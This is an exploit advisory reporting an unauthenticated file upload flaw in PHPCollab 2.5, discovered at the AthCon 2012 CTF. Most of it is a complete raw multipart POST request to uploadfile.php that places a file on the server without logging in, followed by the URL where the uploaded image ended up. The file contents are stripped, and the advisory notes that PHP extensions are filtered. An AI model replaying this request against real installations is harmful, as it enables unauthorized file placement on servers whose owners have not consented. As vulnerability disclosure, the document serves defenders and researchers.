PHPCollab 2.5 Unauthenticated File Upload

`# Exploit Title: phpcollab upload files without any authentication  
# Date: 3/5/2012  
# Author: team ' and 1=1--  
# Software Link: http://www.phpcollab.com/  
# Version: 2.5  
# Vulnerability was found during the AthCon IT Security Conference CTF  
# CTF Organizer: echothrust  
  
During AthCon CTF the team ' and 1=1-- discovered that phpcollab  
allows malicious users to upload files without any authentication on  
the system by conducting the  
following POST request:  
POST  
/phpcollab/projects_site/uploadfile.php?PHPSESSID=f2bb0a2008d0791d1ac45a8a3  
8e51ed2&action=add&project=&task= HTTP/1.1  
Host: 192.0.0.2  
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.7; rv:9.0.1)  
Gecko/20100101 Firefox/9.0.1  
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8  
Accept-Language: en-us,en;q=0.5  
Accept-Encoding: gzip, deflate  
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7  
DNT: 1  
Proxy-Connection: keep-alive  
Cookie: PHPSESSID=6cvltmkam146ncp3hfbucumfk6  
Referer: http://192.0.0.2/  
Content-Type: multipart/form-data;  
boundary=---------------------------19548990971636807826563613512  
Content-Length: 29914  
  
-----------------------------19548990971636807826563613512  
Content-Disposition: form-data; name="MAX_FILE_SIZE"  
  
100000000  
-----------------------------19548990971636807826563613512  
Content-Disposition: form-data; name="maxCustom"  
  
  
-----------------------------19548990971636807826563613512  
Content-Disposition: form-data; name="commentsField"  
  
Hello there  
-----------------------------19548990971636807826563613512  
Content-Disposition: form-data; name="upload"; filename="filename.jpg"  
Content-Type: image/jpeg  
file data stripped  
-----------------------------19548990971636807826563613512  
Content-Disposition: form-data; name="submit"  
  
Save  
-----------------------------19548990971636807826563613512--  
  
As an example we uploaded the following image on the web server:  
http://192.0.0.2/phpcollab/files/1--stallowned.jpg  
It must be noted that the application does not allow the uploading of php  
files by checking the filename extension.  
`